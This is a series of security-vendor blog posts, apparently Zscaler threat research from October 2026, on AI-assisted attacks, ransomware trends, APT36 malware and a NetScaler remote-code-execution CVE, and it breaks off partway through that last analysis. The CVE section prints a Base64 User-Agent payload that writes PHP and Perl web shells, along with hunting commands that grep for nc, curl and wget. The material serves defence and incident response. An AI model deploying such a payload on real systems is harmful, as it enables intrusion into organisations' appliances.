no obligation to update any forward-looking statements made in this blog.

Zscaler CXO Monthly Roundup | September 2026

Deepen Desai (EVP, Chief Security Officer) — Mon, 19 Oct 2026 17:54:02 GMT

IntroductionAugust and September brought major milestones for Zscaler and ThreatLabz, from the release of our annual ransomware report and my keynote at Zenith Live '26 Singapore to new malware discoveries, investigations into APT campaigns, and the release of the AI readiness report.More recently, reports of AI-assisted attacks in Japan and South Korea also underscore how threat actors are incorporating AI into reconnaissance and exploitation. Our launch of Agentic SecOps addresses a challenge that runs through much of my work and the recent headlines: helping defenders keep pace with increasingly fast and automated AI-assisted attacks. AI-assisted attacks in Japan and South Korea: Reconnaissance, vulnerability discovery, and exploitationAttackers’ use of AI is making headlines. In South Korea, an attacker abused an AI penetration testing framework to compromise multiple financial institutions. In Japan, attackers used AI during several recent cybersecurity attacks.These developments came amid a broader rise in ransomware victims in both countries. Our newly released ThreatLabz 2026 Ransomware Report found that victim counts increased 25% year-over-year in Japan and 175% in South Korea. We cover the report’s key findings in a separate blurb below.These cases reinforce a point I’ve been making for some time: AI has become part of the attack workflow for threat actors. Even though some powerful frontier models, such as those from Anthropic Mythos and OpenAI Cyber, are restricted, attackers can still use open weight models with clever harness engineering to achieve similar outcomes. We expect this trend to accelerate.We tested the capabilities of frontier AI models using our own security harness organized around three testing categories that each mirrored real-world attack (offense) and defense scenarios.How attackers are using AIThese real-world attacks in South Korea and Japan show how threat actors are using AI in the following ways:Reconnaissance: Discovering exposed applications and identifying potential entry points.Vulnerability testing: Scanning potential victims for known vulnerabilities.Exploitation: Supporting attacks against internet-facing applications and APIs.South Korea: Reconnaissance and exploitation of internet-facing applicationsThreatLabz recently examined a campaign in which a threat actor abused ARTEX, an open source agentic penetration testing framework. The attacker used the AI agentic framework to support reconnaissance and exploitation of internet-facing web applications. This resulted in the theft of personally identifiable information (PII) belonging to approximately 67,000 individuals. Attackers could use this PII to support further operations like fraud and social engineering.Japan: Vulnerability scanning and API attacksJapan is facing a rise in publicly disclosed cyber incidents. Masaaki Taira, chair of the Liberal Democratic Party’s National Cybersecurity Strategy Headquarters, said that cyberspace is “in a state of emergency.”During its investigation of recent unauthorized access incidents, the Japan Computer Emergency Response Team Coordination Center (JPCERT/CC) confirmed that attackers used AI to scan for known vulnerabilities and conduct attacks via APIs.Japan’s recent incidents are an early warning of how AI changes attacker economics. Attackers can move faster, automate reconnaissance and vulnerability exploitation, overcome language and skill barriers, and target more organizations. Organizations should reduce exposed systems, strengthen access controls, patch faster, and prepare for breaches through their supply chain.Priorities for CXOs and security leadersHide your attack surface wherever possible. What can’t be discovered is harder to exploit.Use Zscaler Deception to detect and contain lateral movement or privilege escalation with decoy assets and accounts.Apply Zero Trust everywhere (including inside the office), not just for remote access.Minimize blast radius with segmentation and deception. Assume breach and contain fast.Treat AI assets as crown jewels and manage that risk explicitly.Use the AI-powered Exposure Management solution to find and fix vulnerabilities before attackers find and exploit them.Modernize SecOps for machine-speed defense by performing red teaming on all external assets. Use agentic workflows with controls designed to support authorized security testing.We’re seeing AI accelerate large-scale attacks worldwide, which is enabling adversaries to scan for exposed attack surfaces, identify vulnerabilities, and chain exploits in real time. We believe the most effective response is to reduce exposed attack surface, adopt a Zero Trust Everywhere strategy with integrated deception to limit lateral movement, and use AI-powered exposure management (for example, Zscaler) to find and fix issues before attackers do. More recommendations are available in my June 2026 CXO Monthly Roundup. Agentic SecOps launchThis launch is especially meaningful for me because it addresses what I see every day on the front lines of threat research and security operations. Attackers are moving faster and integrating AI into their attack workflows, as illustrated by the recent activity in Japan and South Korea. Many security operations centers (SOCs) are struggling to keep pace because of fragmented tools, incomplete visibility, high data ingestion costs, manual workflows, and slow investigations.We built Agentic SecOps to help customers proactively reduce exposure, detect and investigate threats faster, and contain attacks through closed-loop remediation. Read our launch announcement to learn more about the platform and the vision behind it.A few key highlights from the launch:Unified exposure management and threat management in one platform.Operationalize rich inline telemetry across Zscaler Zero Trust Exchange (ZIA, ZPA, DLP, Deception, Endpoint, Identity, Cloud).Specialized AI agents shaped by more than a decade of frontline SOC, MDR, and threat-hunting experience.Closed-loop remediation through the Zscaler Zero Trust Exchange to turn detection into action in real time. ThreatLabz 2026 Ransomware ReportOur Zscaler ThreatLabz 2026 Ransomware Report examines ransomware activity from April 2025 through March 2026, with a focus on groups and affiliates, victim targeting, attack techniques, data theft, and payment patterns.For security leaders, the findings reinforce a clear reality for defenders: ransomware’s leverage is growing by the terabyte, while initial access is increasingly driven by repeatable playbooks that abuse trusted enterprise tools and trusted people. At the same time, the economics are shifting: total known ransom payments fell year-over-year, but the average payment increased, suggesting attackers are extracting more from the victims that do pay.Key takeawaysTerabyte-scale data theft is the new standard: Among the top 10 ransomware groups by reported data leak volume, combined exfiltration volume increased 275.8% year-over -year to 896.2 terabytes. Multiple groups stole more than 1 terabyte of data from each victim on average.Ransomware threat actors are targeting employees with privileged roles and business influence: Manager-level titles and above accounted for 62% of victims in attacks by a prominent ransomware group. Of the 351 victims identified, roughly 75% worked in finance, sales, operations, HR, and marketing—functions tied to non-technical yet critical business processes and data.Abuse of trusted enterprise tools continues to play a larger role in ransomware operations: Ransomware threat actors are using legitimate collaboration and remote support tools, including Microsoft Teams and Quick Assist, to turn spam bombing and IT-themed social engineering into initial access that can be leveraged for lateral movement, data theft, and file encryption.ThreatLabz findings show that ransomware risk extends well beyond technical and executive roles. Managers across core business functions possess the access, authority, and organizational knowledge threat actors need to advance an intrusion. Recommendations for security leadersRestrict unsolicited external messages and calls on collaboration platforms.Train employees to verify unusual IT requests through trusted internal channels.Deploy inline threat protection and endpoint security to detect and block attacks.Monitor for unusual activity across accounts, devices, remote access tools, and data transfers.Enforce least-privilege access to limit what attackers can reach.Use Zero Trust segmentation to contain compromises and prevent lateral movement.Zscaler Zero Trust Exchange Coverage – Zscaler Internet Access (Advanced Cloud Sandbox, Advanced Threat Protection, Advanced Cloud Firewall, SSL Inspection), Deception, Zscaler Private Access (AI Segmentation), Zscaler AI Protect, Zscaler Exposure Management (Asset Exposure Management, External Attack Surface Management, Unified Vulnerability Management) ThreatLabz 2026 Frontier AI Readiness ReportFrontier AI models can identify security vulnerabilities and chain them into a complete attack path, from reconnaissance to data theft, within minutes. Because of this, ThreatLabz worked with leading frontier AI companies to examine whether enterprises are prepared to defend against cyberattacks operating at machine-speed. We leveraged AI models in isolated, controlled simulation environments to emulate the specific attack patterns and velocity of frontier AI. Using these insights, we evaluated organizations on a 0-100 scale, assessing various axes including data protection, attack surface shielding, and decoy deployment to determine how well they could withstand an autonomous, machine-speed attack.Our findings in the ThreatLabz 2026 Frontier AI Readiness Report show that across hundreds of enterprises assessed, the average Frontier AI Readiness Score sat at 37 out of 100. Even more telling, the average AI governance pillar score was just 2.1 out of 20, proving that enterprise readiness for these advanced threats remains virtually at “year zero.”The findings in this report are drawn from Frontier-AI-Readiness Assessments conducted across hundreds of enterprise organizations during H1 2026. 32% are Fortune 500 companies. The cohort spans 12 industries with the following composition:Meaningful insightsEnterprises can maximize their existing AI-defense capabilities with a few simple steps. Organizations can significantly improve their defenses with practical cyber hygiene. In 64% of organizations, the licensed deception product is positioned for deployment to add high-fidelity detection depth. 18% have authentication capabilities that can be extended to additional sites. Through configuration optimization alone, organizations can reach target scores between 73 and 98 out of 100. From the cohort’s average starting score of 37, this represents massive individual point improvements.AI governance is at year zero across every assessed enterprise, regardless of organization size or control breadth. 100% of assessed organizations lack identity-based authentication for their AI, and 91% have publicly exposed AI endpoints. The average AI governance pillar score was 2.1 out of 20 (10.5% of maximum). The highest score in the cohort was 3 out of 20. The exposure is substantial: public AI endpoints were common across the cohort, including internet-exposed MCP endpoints and unauthenticated chatbots or copilots. The most serious cases observed included critical-severity GenAI gateways exposed to the public internet.RecommendationsEnable enforcement mode on security controls.Gate all AI surfaces with identity-aware access immediately.Raise SSL/TLS inspection to a minimum of 70% qualified coverage within 90 days.Replace wildcard domains with named FQDNs on critical segments.Deploy deception on critical network segments.Move internet-exposed VPN appliances behind Zero Trust-brokered access.Patch CISA KEV vulnerabilities on internet-facing assets within 72 hours of assessment. Operation RapidRust targets sensitive data across various platforms and air-gapped networksThreatLabz analyzed new activity by the Pakistan-nexus threat actor APT36, targeting government and defense entities in India and Afghanistan. Since our last publication about the group’s activity in January 2026, APT36 has maintained a high operational tempo and updated its tactics, techniques, and procedures (TTPs) in continued attacks.In this campaign, dubbed Operation RapidRust, ThreatLabz discovered new malware families and post-compromise tools, as well as significant post-compromise activity. The new tools include the RUSTYSHADE backdoor, the RUSTYMOVE post-compromise tool, and the PSNATCH and BASHNATCH file-stealing tools.Command-and-control communicationRUSTYSHADE uses attacker-controlled private GitHub repositories for command-and-control (C2) communication. All messages exchanged between RUSTYSHADE and the GitHub repositories are encrypted using AES-256-GCM.Air-gapped networks at riskAPT36 deployed RUSTYMOVE on a compromised machine during post-compromise activity. Its sole function is to continuously monitor external removable media (e.g., USB, SD, MMC, and IEEE 1394 devices).Post-compromise activityDuring our investigation, ThreatLabz observed post-compromise activity from APT36 operators, including system, user, and network reconnaissance commands, and the deployment of next-stage payloads. Most of the activity took place between August 20, 2026, and September 1, 2026.ThreatLabz analyzed the timestamps associated with the C2 commands and found that the threat actor issued commands only between 4:00 a.m. and 11:00 a.m. UTC. The figure below shows the distribution of C2 commands by hour of the day.ThreatLabz also analyzed the commands by date. As shown in the figure below, all observed activity occurred on weekdays, with no activity observed during the two weekends included in the analysis period.This campaign demonstrates that APT36 continues to target government and defense entities in India and Afghanistan while maintaining high operational tempo and evolving TTPs. To learn more, please visit Operation RapidRust: APT36 Deploys RUSTYSHADE, RUSTYMOVE, PSNATCH, and BASHNATCH.Zscaler Zero Trust Exchange Coverage – Zscaler Internet Access (Advanced Cloud Sandbox, Advanced Threat Protection, Advanced Cloud Firewall, SSL Inspection), Deception, Zscaler Private Access (AI Segmentation), Zscaler AI Protect, Zscaler Exposure Management (Asset Exposure Management, External Attack Surface Management, Unified Vulnerability Management) New malware and notable campaignsC2Looper abuses GitHub to support potential ransomware activity: ThreatLabz discovered a new backdoor likely affiliated with an initial access broker for ransomware attacks. It supports typical backdoor commands including remote shell execution, reconnaissance, and deploying additional malware tooling.Abyssos, a modular RAT: ThreatLabz identified Abyssos, a modular RAT with capabilities such as credential theft, file exfiltration, VNC-based remote access, and support for downloadable modules to expand its functionality.ChainDrop (mini Shai-Hulud) turns trusted build pipelines into a supply chain vector: ThreatLabz continues to document the evolution of Shai-Hulud and its potential impact on the software supply chain.Vidar evolves to complicate analysis: ThreatLabz published a technical analysis of Vidar’s latest string obfuscation that leverages a virtual machine combined with custom stream ciphers.Ledger phishing exploits trust in search ads and cloud platforms: ThreatLabz analyzed how threat actors used Google ads and a series of redirects to lure Ledger users into submitting secret recovery phrases.2CLoader, a customizable malware: ThreatLabz analyzed a new malware loader named 2CLoader that has been observed delivering Vidar and Remus.

Zscaler and Cursor Help Enterprises Secure AI-Assisted Development at the Endpoint

Dhawal Sharma (Executive Vice President, AI Security and Strategic Initiatives) — Mon, 19 Oct 2026 04:00:07 GMT

As AI coding workflows extend beyond the editor, Zscaler helps enterprises understand how Cursor is used on managed devices and apply the right security controls.AI-assisted development is becoming part of how enterprises build software, and organizations are using Cursor to bring these capabilities into everyday development workflows. But a Cursor workflow can extend beyond the editor. To complete a task, an agent may access files, run commands, use skills, call Model Context Protocol (MCP) tools, connect to external services, or install software packages on the device.Zscaler and Cursor are partnering to help enterprises secure agentic activity on managed devices. Cursor provides enterprise controls for its platform, while Zscaler complements them with endpoint visibility and policy controls to help engineering and security teams better manage risk. Extending AI governance to the endpointEngineering and security teams need to understand where Cursor is deployed, how it is being used, and what related tools and integrations are active across the enterprise. Zscaler AI Endpoint Security helps provide that visibility on managed devices.That visibility matters because AI coding activity rarely stays within a single tool or session. An agent may load instructions from a skill, connect to an external service, or add a software dependency as part of its work. To see the full picture, security teams need to connect those interactions to the user, device, and development session.The Zscaler-Cursor partnership helps organizations:Identify Cursor deployments, including unmanaged installations, and see which tools, extensions, and integrations are present across managed devices.Understand how Cursor agents interact with development resources, software dependencies, and external services during their work.Apply endpoint policies that reflect organizational requirements for tools, data, and agent activity.Investigate unexpected activity with relevant user, device, application, and session context.Combining inventory with observed activity gives security teams a clearer view of how tools are used, what data they access, and whether they connect to internal services. Supporting secure enterprise adoptionThis approach helps developers continue using approved Cursor capabilities while giving security teams a more consistent way to manage endpoint risk. Organizations can tailor policies by user, team, and device instead of applying broad restrictions across every development workflow.Security and engineering teams can use shared visibility and activity context to refine controls over time. This helps organizations address unmanaged usage, configuration drift, risky integrations, and data exposure without unnecessarily interrupting legitimate development work.For security operations teams, this creates a clearer path from detection to investigation. Instead of starting with an isolated command or tool call, analysts can review related activity and determine whether it reflects expected development work, a control that needs tuning, or behavior that requires further review.Organizations can also apply data-handling controls when AI-assisted development involves sensitive information, helping support privacy, governance, and compliance requirements. Looking aheadBy combining Cursor’s enterprise platform controls with Zscaler’s endpoint visibility and policy controls, the partnership helps customers better understand how AI-assisted development is used across managed devices and respond with the right controls. That gives enterprises a stronger foundation for adopting AI-assisted development in a way that supports both developer productivity and security requirements.We’re excited to bring this innovation to life and to continue working together on the shared goal of helping enterprises adopt AI-assisted development securely and responsibly.

Ransomware at Machine Speed: How GenAI Shrinks the Path after Initial Access

Phil Hagen (Principal Information Security Researcher) — Fri, 16 Oct 2026 22:48:36 GMT

Artificial Intelligence technologies have made a huge impact on the security industry. But as with any public technology, adversaries have access to AI as well. They’re wasting no time incorporating AI into their malicious workflows and ransomware operators have been able to leverage it - unfortunately, this has led to some of their successes.Fortunately, there is plenty of potential for defenders to leverage similar AI technologies to improve their own game, neutralizing the adversaries’ advantage to keep users and resources safe. As organizations adopt these tools, they also need to secure their own use of GenAI. Our guide on how to secure GenAI usage in the enterprise outlines practical steps to reduce those risks.This blog post covers adversaries’ uses of Generative AI (GenAI) for both social engineering pretexts and technical development, as well as how defenders can spot and mitigate those efforts. For the full story, be sure to check out the complete analysis in the Zscaler ThreatLabz 2026 Ransomware Report. Key TakeawaysRansomware attacks continue to be a major driver of cybercrime incidents and attacker’s corresponding financial gains. While there are numerous means of compromising a victim, ransomware threat actors typically rely on social engineering as their first step toward compromising a target. The more believable a social engineering ruse, the more likely it will be successful. Attackers are already using GenAI to help overcome some of their traditional shortcomings.After they gain an initial foothold, time is of the essence. The faster the attacker can move throughout the victim’s environment and acquire sensitive data to either encrypt or steal outright, the less likely they will be detected while doing so and the more likely their efforts will be successful. Here again, GenAI is providing attackers with a faster and more focused approach that yields greater success.However, defenders can also use AI-enabled technology for their own purposes to stay in step with the attackers. Doing so ensures we keep pace with or even get ahead of the malicious uses of these nascent technologies. Technical AnalysisMore Effective Social Engineering RusesHistorically, most attackers’ social engineering game has been stifled by their inauthenticity. While there are many instances of intelligence-informed attackers crafting very believable ruses, these have been rare. The vast majority of ransomware actors used volume as their strategy for initially landing on a target system. This is why most user education campaigns have focused on spotting typos, non-native-speaking grammar mistakes, and other mostly obvious weaknesses in phishing emails and sites.However, AI has unmistakably leveled the playing field, giving attackers the capability to blend into the wave of legitimate email like never before. This, in turn, gives them a much higher chance of tricking a victim into clicking the link, downloading the file, or otherwise falling into the trap that’s been laid.Attackers can now use any of the public-facing GenAI platforms to create email messages, websites, and other assets that are polished, natively-built in the target’s language, and crafted to maximize success. As discussed in a previous blog, phishing emails are often used to trick a user into using a Remote Monitoring and Management (RMM) tool at the attacker’s behest, which then gives them full access to the victim’s system as well as potentially their wider environment.Faster Discovery of Valuable Materials…To StealGenAI technologies are also well suited to examine massive amounts of data for the purposes of classification or content searching. Once an attacker has access to the victim’s system, GenAI can therefore be used to search all materials to which a victim’s system has access, seeking the most valuable or sensitive data for theft or encryption during the next phase of the attack.This approach gives the attacker an incredibly fast method of identifying and acquiring the most damaging data, which then maximizes the likelihood the victim’s organization will pay the ransom to retrieve or prevent the disclosure of the encrypted/stolen data. Although this occurs after the initial access, it is still a form of reconnaissance. Speed is of the essence and GenAI makes the process even faster than it could be automated with traditional attacker scripts and playbooks.Speedy Creation and Iteration of Bespoke ScriptsFile and network signatures are perhaps one of the most well-established indicators in the security world. From the earliest days of antivirus to more modern implementations of fuzzy hashing and traffic fingerprinting, practically every security program uses signatures in some capacity. While this used to be effective, attackers can now rapidly vary their malware and scripts, resulting in corresponding variance of their signatures. This allows attackers to evade traditional detection mechanisms making it much harder to spot their activity based on those signatures alone.Attackers using GenAI-built scripts and other malware also no longer need to rely on common tools that defenders are aware of and actively hunting for. Bespoke tooling was once the exclusive domain of well-funded threat actors, but the wide availability of GenAI tools opens those floodgates of potential for any threat actor with the motivation and a free (or stolen) LLM account. In the same vein, custom tools are no longer a clear indicator of an advanced threat actor. Garden variety ransomware operators become harder to differentiate from the larger and more resourced groups, significantly hindering threat actor identification. ConclusionAs with practically every technological advancement in history, Artificial Intelligence and GenAI in particular can be used for good and evil purposes. While the advent of novel attack techniques has been gleefully incorporated into ransomware actors’ toolboxes, defenders can leverage similar tooling to improve their defensive and detective capabilities. This arms race mentality is not new in the security industry. Encryption, even better encryption, widespread Internet access, social and otherwise publicly-generated media content, the proliferation of mobile devices, and more have all come with similar risks since the earliest phases of each development.While ransomware operators continue to improve the efficiency and effectiveness of their efforts through the use of GenAI, this does not mean that defenders have to be at a disadvantage. The most effective and forward-leaning defender teams have already stepped up their game in preparation for or in response to the attackers' improved tradecraft. These defense improvements, along with a robust and tested security program in general, can help to keep ransomware threats at bay and ensure the integrity of the valuable data throughout the enterprise. Zscaler Coverage to Mitigate the Risk of Advancing RansomwareAgentic SecOps fuses zero trust telemetry, threat intelligence, and agentic workflows into a single view, helping security teams to more quickly and decisively detect, investigate, and respond to ransomware threats.AI-based detection from the Zscaler Secure Web Gateway identifies and blocks novel attacker infrastructure such as phishing sites and C2 components.The Zero Trust Browser’s AI capabilities identify suspicious web content, limiting the potential for malware delivery and data leaks, even through credibly-scraped websites.

CVE-2026-88771: Inside the Exploitation of a Critical NetScaler RCE Vulnerability

Sai Nikhil Perla (Threat Researcher) — Fri, 16 Oct 2026 21:28:21 GMT

IntroductionOn September 27, 2026, Citrix disclosed CVE-2026-88771, a critical remote code execution (RCE) vulnerability affecting NetScaler Application Delivery Controller (ADC) and NetScaler Gateway. The vulnerability carries a CVSS v3.1 score of 9.8 according to NVD and a CVSS v4.0 score of 9.5 according to the Citrix security bulletin CTX697096. The vulnerability allows unauthenticated attackers to execute arbitrary commands on affected appliances. Exploitation requires no optional features to be enabled.Citrix confirmed exploitation on unmitigated appliances, and the US’s Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-88771 to its Known Exploited Vulnerabilities catalog following reports of active exploitation worldwide. Citrix has since disclosed another critical vulnerability affecting NetScaler ADC and NetScaler Gateway, CVE-2026-107406, which can lead to RCE or denial of service. CVE-2026-107406 affects appliances configured as SAML service provider or identity provider depending on the software version. The analysis in this blog focuses on the exploitation of CVE-2026-88771.Zscaler ThreatLabz observed a staged exploitation chain involving access-log poisoning, remote command execution before authentication, appliance fingerprinting, and attempts to deploy multiple web shells. ThreatLabz also observed delivery of a FreeBSD x64 implant from infrastructure that overlapped with activity we previously associated with exploitation of StyleSmuggler (CVE-2026-75650), a vulnerability affecting Adobe Commerce and Magento.This overlap provides an investigative lead but does not establish threat actor attribution. Shared hosting and compromised infrastructure, malware distribution services, or payload reuse by unrelated operators could explain the connection. Fixed ReleasesCitrix recommends installing the following builds or later:Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.46 and later releasesCitrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.29 and later releases of 13.1Citrix NetScaler ADC 14.1-FIPS 14.1-73.46 FIPS and later releases of 14.1-FIPSCitrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.283 and later releases of 13.1-FIPS and 13.1-NDcPP RecommendationsOrganizations running NetScaler ADC or NetScaler Gateway should take the following actions immediately:Identify exposed appliances: Inventory every NetScaler appliance and determine its software version, build, and internet exposure.Preserve forensic evidence before updating: Capture a virtual machine snapshot, where applicable, and collect remote syslog data, the NetScaler technical support bundle, and available packet-engine core dumps. CISA warns that updating may remove or reduce forensic visibility.Isolate potentially compromised appliances: Remove potentially compromised appliances from untrusted networks while preserving evidence.Mitigation and response: If your environment includes any of the impacted appliances, it is advisable to proactively hunt for signs of compromise. The following commands, sourced from Sh3llc0de, can help identify suspicious activity.To investigate modifications within the FreeBSD shell, access the NetScaler console, enter shell, and run the commands below:#1. Inspect running processes for suspicious shells spawned by nsppe ps aux | grep -E "sh|bash|python|perl|nc|curl|wget" | grep -v "nsconmsg" # 2. Check startup script rc.netscaler for unauthorized modifications cat /flash/nsconfig/rc.netscaler # 3. Audit cron jobs for suspicious automated scripts crontab -l cat /etc/crontab # 4. Search for newly created or modified web files in webroot directories find /netscaler/ns_gui/ -type f -mtime -3 find /var/netscaler/gui/ -type f -mtime -3 # 5. Review HTTP error logs for abnormal crash dumps or core files ls -la /var/crash/ ls -la /var/core/To determine whether any unauthorized child shells have been launched under the /nobody/ service account, run the following:# Inspect active processes spawned by the nobody service context ps aux | grep -E "(sh|bash|python|perl|nc)" # Audit active network listening sockets for unmapped ports netstat -an | grep LISTENCheck configuration integrity: Compare /etc/httpd.conf, any included configuration files, and other appliance configuration files with those on a known-good system. Pay particular attention to unexpected PHP or CGI enablement.Search for known access paths: Search HTTP access logs for paths/URIs consistent with GET request paths associated with this CVE.Search for staged payloads: Look for User-Agent values of INDEX: followed by Base64-encoded content in HTTP access logs.Search for forged failure messages: Review authentication and system logs for fabricated pitboss PPE messages containing shell syntax.Review outbound connections: Investigate appliance-initiated connections, especially downloads from unfamiliar IP addresses.Rotate exposed secrets after containment: If compromise is confirmed, rotate credentials, tokens, certificates, and other secrets stored on or accessible through the appliance.Upgrade to a fixed release: Install the applicable Citrix build listed above. Attack ChainThe figure below illustrates how attackers exploit CVE-2026-88771 to gain initial access to NetScaler appliances.Figure 1: Attack chain exploiting CVE-2026-88771 to compromise NetScaler appliances. How It WorksThreatLabz discovered a staged log-poisoning chain. The attacker staged a larger post-exploitation payload separately from the shorter command used to trigger its execution.This behavior is consistent with independent technical analysis published by CERT-EU and Unit 42. Step 1: Staging the payload in the HTTP access logThe attacker sent GET requests to common NetScaler paths, as listed below:/logon/LogonPoint/tmindex.html/logon/LogonPoint/index.html/vpn/index.html/logon/tmindex.htmlThe requests carried a distinctive User-Agent value:User-Agent: INDEX:bWtkaXIgLXAgL3Zhci92cG4vYm9va21hcmsvIC9uZXRzY2FsZXIvbnNfZ3VpL3Zwbi8gL3Zhci9uZXRzY2FsZXIvZ3VpL3Zwbi8gL3Zhci92cG4vdGhlbWUvIC92YXIvbmV0c2NhbGVyL2xvZ29uL0xvZ29uUG9pbnQvIC9uZXRzY2FsZXIvbnNfZ3VpL2NnaS87IGVjaG8gIk54LXpEfCQoaWQpfCQodW5hbWUgLWEpfCQoaG9zdG5hbWUpfCQoY2F0IC9ldGMvbnNyZWxlYXNlIDI+L2Rldi9udWxsIHx8IGNhdCAvZXRjL25zY29uZmlnL25zLmNvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0xKSIgPiAvdmFyL3Zwbi9ib29rbWFyay9OeF81OTM2Lmh0bWw7IGVjaG8gIk54LXpEfCQoaWQpfCQodW5hbWUgLWEpfCQoaG9zdG5hbWUpfCQoY2F0IC9ldGMvbnNyZWxlYXNlIDI+L2Rldi9udWxsIHx8IGNhdCAvZXRjL25zY29uZmlnL25zLmNvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0xKSIgPiAvbmV0c2NhbGVyL25zX2d1aS92cG4vTnhfNTkzNi5odG1sOyBlY2hvICJOeC16RHwkKGlkKXwkKHVuYW1lIC1hKXwkKGhvc3RuYW1lKXwkKGNhdCAvZXRjL25zcmVsZWFzZSAyPi9kZXYvbnVsbCB8fCBjYXQgL2V0Yy9uc2NvbmZpZy9ucy5jb25mIDI+L2Rldi9udWxsIHwgaGVhZCAtMSkiID4gL3Zhci9uZXRzY2FsZXIvZ3VpL3Zwbi9OeF81OTM2Lmh0bWw7IGVjaG8gIk54LXpEfCQoaWQpfCQodW5hbWUgLWEpfCQoaG9zdG5hbWUpfCQoY2F0IC9ldGMvbnNyZWxlYXNlIDI+L2Rldi9udWxsIHx8IGNhdCAvZXRjL25zY29uZmlnL25zLmNvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0xKSIgPiAvdmFyL3Zwbi90aGVtZS9OeF81OTM2Lmh0bWw7IGVjaG8gIk54LXpEfCQoaWQpfCQodW5hbWUgLWEpfCQoaG9zdG5hbWUpfCQoY2F0IC9ldGMvbnNyZWxlYXNlIDI+L2Rldi9udWxsIHx8IGNhdCAvZXRjL25zY29uZmlnL25zLmNvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0xKSIgPiAvdmFyL25ldHNjYWxlci9sb2dvbi9Mb2dvblBvaW50L054XzU5MzYuaHRtbDsgZWNobyAnPD9waHAgZWNobyAiTngtekR8Ii5zaGVsbF9leGVjKCRfR0VUWzBdKS4ifCI7ID8+JyA+IC92YXIvdnBuL2Jvb2ttYXJrL054XzU5MzYucGhwOyBjaG1vZCA3NTUgL3Zhci92cG4vYm9va21hcmsvTnhfNTkzNi5waHA7IGVjaG8gJzw/cGhwIGVjaG8gIk54LXpEfCIuc2hlbGxfZXhlYygkX0dFVFswXSkuInwiOyA/PicgPiAvbmV0c2NhbGVyL25zX2d1aS92cG4vTnhfNTkzNi5waHA7IGNobW9kIDc1NSAvbmV0c2NhbGVyL25zX2d1aS92cG4vTnhfNTkzNi5waHA7IGVjaG8gJzw/cGhwIGVjaG8gIk54LXpEfCIuc2hlbGxfZXhlYygkX0dFVFswXSkuInwiOyA/PicgPiAvdmFyL25ldHNjYWxlci9ndWkvdnBuL054XzU5MzYucGhwOyBjaG1vZCA3NTUgL3Zhci9uZXRzY2FsZXIvZ3VpL3Zwbi9OeF81OTM2LnBocDsgZWNobyAnPD9waHAgZWNobyAiTngtekR8Ii5zaGVsbF9leGVjKCRfR0VUWzBdKS4ifCI7ID8+JyA+IC92YXIvdnBuL3RoZW1lL054XzU5MzYucGhwOyBjaG1vZCA3NTUgL3Zhci92cG4vdGhlbWUvTnhfNTkzNi5waHA7IGVjaG8gJzw/cGhwIGVjaG8gIk54LXpEfCIuc2hlbGxfZXhlYygkX0dFVFswXSkuInwiOyA/PicgPiAvdmFyL25ldHNjYWxlci9sb2dvbi9Mb2dvblBvaW50L054XzU5MzYucGhwOyBjaG1vZCA3NTUgL3Zhci9uZXRzY2FsZXIvbG9nb24vTG9nb25Qb2ludC9OeF81OTM2LnBocDsgcHJpbnRmICIjIS91c3IvYmluL3BlcmxcbnByaW50ICJDb250ZW50LVR5cGU6IHRleHQvcGxhaW5cclxuXHJcbiI7cHJpbnQgIk54LXpEfCI7aWYoJEVOVntRVUVSWV9TVFJJTkd9PX4vMD0oLiopLyl7cHJpbnQgYCQxYDt9cHJpbnQgInwiOyIgPiAvbmV0c2NhbGVyL25zX2d1aS9jZ2kvTnhfNTkzNi5wbDsgY2htb2QgNzU1IC9uZXRzY2FsZXIvbnNfZ3VpL2NnaS9OeF81OTM2LnBsOyBwcmludGYgIiMhL3Vzci9iaW4vcGVybFxucHJpbnQgIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpblxyXG5cclxuIjtwcmludCAiTngtekR8IjtpZigkRU5We1FVRVJZX1NUUklOR309fi8wPSguKikvKXtwcmludCBgJDFgO31wcmludCAifCI7IiA+IC92YXIvdnBuL2Jvb2ttYXJrL054XzU5MzYucGw7IGNobW9kIDc1NSAvdmFyL3Zwbi9ib29rbWFyay9OeF81OTM2LnBsOyBwcmludGYgIiMhL3Vzci9iaW4vcGVybFxucHJpbnQgIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpblxyXG5cclxuIjtwcmludCAiTngtekR8IjtpZigkRU5We1FVRVJZX1NUUklOR309fi8wPSguKikvKXtwcmludCBgJDFgO31wcmludCAifCI7IiA+IC9uZXRzY2FsZXIvbnNfZ3VpL3Zwbi9OeF81OTM2LnBsOyBjaG1vZCA3NTUgL25ldHNjYWxlci9uc19ndWkvdnBuL054XzU5MzYucGw7IHByaW50ZiAiIyEvdXNyL2Jpbi9wZXJsXG5wcmludCAiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluXHJcblxyXG4iO3ByaW50ICJOeC16RHwiO2lmKCRFTlZ7UVVFUllfU1RSSU5HfT1+LzA9KC4qKS8pe3ByaW50IGAkMWA7fXByaW50ICJ8IjsiID4gL3Zhci9uZXRzY2FsZXIvZ3VpL3Zwbi9OeF81OTM2LnBsOyBjaG1vZCA3NTUgL3Zhci9uZXRzY2FsZXIvZ3VpL3Zwbi9OeF81OTM2LnBsOyBwcmludGYgIiMhL3Vzci9iaW4vcGVybFxucHJpbnQgIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpblxyXG5cclxuIjtwcmludCAiTngtekR8IjtpZigkRU5We1FVRVJZX1NUUklOR309fi8wPSguKikvKXtwcmludCBgJDFgO31wcmludCAifCI7IiA+IC92YXIvdnBuL3RoZW1lL054XzU5MzYucGw7IGNobW9kIDc1NSAvdmFyL3Zwbi90aGVtZS9OeF81OTM2LnBsOyBwcmludGYgIiMhL3Vzci9iaW4vcGVybFxucHJpbnQgIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpblxyXG5cclxuIjtwcmludCAiTngtekR8IjtpZigkRU5We1FVRVJZX1NUUklOR309fi8wPSguKikvKXtwcmludCBgJDFgO31wcmludCAifCI7IiA+IC92YXIvbmV0c2NhbGVyL2xvZ29uL0xvZ29uUG9pbnQvTnhfNTkzNi5wbDsgY2htb2QgNzU1IC92YXIvbmV0c2NhbGVyL2xvZ29uL0x